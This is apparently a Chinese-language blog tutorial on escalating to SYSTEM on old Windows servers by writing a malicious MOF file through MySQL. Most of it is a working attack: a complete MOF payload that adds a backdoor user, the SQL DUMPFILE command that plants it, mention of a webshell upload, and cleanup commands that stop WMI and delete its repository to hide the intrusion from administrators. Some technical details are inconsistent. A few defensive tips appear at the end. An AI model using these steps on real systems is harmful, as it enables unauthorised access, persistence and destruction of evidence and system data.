目录
一、MOF提权是什么提权?
二、MOF提权能针对什么版本的操作系统以及MySQL的版本?
1. 适用的操作系统
2. MySQL版本
MOF提权先决条件
三、MOF提权的成功率和利用率高吗?
1. 成功率(较低)
2. 利用率(不高)
四、详细的MOF提权手法及实际案例步骤
步骤
实际案例
五、查漏补缺:关于MOF提权的其他知识点
总结
一、MOF提权是什么提权?
MOF提权是一种利用Windows系统中托管对象格式文件(Managed Object Format,简称MOF文件)来执行代码并提升权限的技术。MOF文件通常存储在Windows系统的C:\Windows\System32\wbem\mof\目录下
Windows会以SYSTEM权限定期(通常每隔几秒)执行这些文件中的脚本。
攻击者通过修改或替换这些MOF文件,可以注入恶意代码。由于MOF文件由系统以最高权限执行,攻击者能够借此在系统级别运行任意命令,例如添加管理员账户或执行后门程序,从而实现从普通权限到SYSTEM权限的提升。这种提权方式属于“写文件提权”的一种,依赖于将恶意MOF文件写入特定目录的条件。
二、MOF提权能针对什么版本的操作系统以及MySQL的版本?
1. 适用的操作系统
MOF提权主要针对Windows操作系统,特别是早期版本,如:
Windows 2003及更早的版本,这些系统对MOF文件的执行机制较宽松
C:\Windows\System32\wbem\mof\目录中的MOF文件会被定期以SYSTEM权限执行。
在较新的Windows版本(如Windows 7、10及Server系列)中
由于Microsoft增强了安全性并可能调整了MOF文件的执行机制,MOF提权的有效性显著降低,甚至可能完全失效。
2. MySQL版本
MOF提权并不直接依赖于MySQL的特定版本
而是利用MySQL的文件写入功能(如OUTFILE或DUMPFILE函数)来将恶意MOF文件写入目标目录。
MOF提权先决条件
secure_file_priv变量:MySQL配置文件中该变量需设置为空(默认值为空或未配置限制),以允许文件写入任意目录。
如果该变量被设置为特定目录(如/var/lib/mysql-files/)
则无法写入C:\Windows\System32\wbem\mof\,MOF提权将失败。
查看这个选项
SHOW VARIABLES LIKE 'secure_file_priv';
权限要求:攻击者需要具备执行SELECT ... INTO OUTFILE/DUMPFILE的权限,通常需要MySQL的FILE权限
因此,只要MySQL版本支持文件写入功能(几乎所有主流版本都支持),且配置和权限满足要求,MOF提权理论上都可能实现。
三、MOF提权的成功率和利用率高吗?
1. 成功率(较低)
MOF提权的成功率受多种因素制约:
系统配置:目标系统是否允许MOF文件以SYSTEM权限执行(早期Windows系统默认允许,较新版本可能禁用或限制)。
文件写入权限:攻击者需要将MOF文件写入C:\Windows\System32\wbem\mof\,这通常要求较高的初始权限(如管理员权限),普通用户很难直接实现。
MySQL配置:如前所述,secure_file_priv必须为空,且攻击者需具备文件操作权限。
防护措施:如果目标系统部署了杀毒软件或安全监控,可能检测并阻止MOF文件的恶意行为。
因此,MOF提权的成功率在现代系统中较低,仅在特定条件下(如早期系统、宽松配置)较高。
2. 利用率(不高)
MOF提权的实际利用率也不高,原因如下:
条件苛刻:需要写入system32目录,通常意味着攻击者已具备较高权限,此时可能有更直接的提权方法(如令牌窃取或服务漏洞利用)。
过时性:随着Windows系统版本升级,MOF提权的漏洞可能已被修复,适用范围缩小。
替代方法:攻击者更倾向于使用更简单或更可靠的提权技术,如DLL劫持或UAC绕过。
综上,MOF提权在现代攻击场景中的利用率较低,多见于针对老旧系统的历史案例。
权当练手 以及理解sql提权手法
四、详细的MOF提权手法及实际案例步骤
以下是基于查询中提供内容的MOF提权手法及完整步骤,假设攻击者已获得MySQL访问权限,且secure_file_priv为空:
步骤
准备恶意MOF文件
创建一个MOF文件(如nullevt.mof),包含恶意脚本。例如,以下代码会在系统中添加一个新用户test(密码为qwel231@#):
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent WHERE TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\");" +
"WSH.run(\"net.exe user test qwel231@# /add\");";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
}; 将此内容保存为nullevt.mof,存储在攻击者可访问的路径(如C:/path/to/nullevt.mof)。
通过MySQL写入MOF文件
使用MySQL的DUMPFILE函数将文件写入目标目录:
SELECT LOAD_FILE('C:/path/to/nullevt.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/nullevt.mof'; 注意:LOAD_FILE要求文件路径在MySQL服务器可访问范围内,且攻击者需具备读取权限。
等待系统执行
Windows系统会每隔几秒以SYSTEM权限执行nullevt.mof中的脚本,运行net.exe user test qwel231@# /add,从而添加新用户。
验证提权
攻击者可通过登录新用户test或检查用户列表确认提权成功。
清理痕迹
MOF文件会持续执行,为避免重复运行或暴露攻击行为,需停止脚本并清理:
net stop winmgmt REM 停止Windows Management Instrumentation服务
rmdir /s /q C:\Windows\System32\wbem\repository REM 删除WMI存储库
del /f /s /q C:\Windows\System32\wbem\mof\good\nullevt.mof REM 删除MOF文件
net start winmgmt REM 重启服务
详细步骤
上传webshell 到目标主机 蚁剑上传成功连接上服务器
使用MySQL的DUMPFILE函数将文件写入目标目录:
执行这段语句
SELECT LOAD_FILE('C:/1.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/nullevt.mof';
注意:LOAD_FILE要求文件路径在MySQL服务器可访问范围内,且攻击者需具备读取权限。
实际案例
假设目标是一台Windows Server 2003服务器,运行MySQL 5.5,攻击者通过SQL注入获得MySQL root权限:
攻击者上传nullevt.mof到服务器临时目录C:/temp/。
执行SQL命令将文件写入C:/Windows/System32/wbem/mof/。
系统几秒后执行脚本,添加用户test,攻击者通过远程桌面登录验证提权。
最后清理MOF文件,避免被管理员发现。
五、查漏补缺:关于MOF提权的其他知识点
历史背景
MOF提权是一种较老的提权技术,流行于Windows XP和Server 2003时代,当时系统安全性较低,MOF文件执行机制未受严格限制。
局限性
权限要求高:写入system32目录通常需要管理员权限,这使得MOF提权更像是一种“锦上添花”的手段,而非从低权限到高权限的突破。
现代系统失效:在新版Windows中,WMI(Windows Management Instrumentation)的安全机制已改进,MOF文件可能不再自动执行。
替代方案
类似“写文件提权”的方法还包括写入启动项(如案例中的C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/)或计划任务,但这些方法可能更易实现且条件更宽松。
防御措施
设置MySQL的secure_file_priv限制文件写入路径。
升级Windows系统至最新版本,修补MOF相关漏洞。
监控system32目录的文件变更,阻止未授权写入。
总结
MOF提权是一种利用Windows MOF文件执行机制,通过MySQL文件写入功能实现权限提升的技术。它主要适用于Windows 2003及更早版本,对MySQL版本无严格要求,但需secure_file_priv为空。成功率和利用率因条件苛刻和系统更新而较低,实际案例多见于老旧系统。攻击者需谨慎操作并清理痕迹,以避免暴露。现代环境中,MOF提权已逐渐被更高效的提权技术取代。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!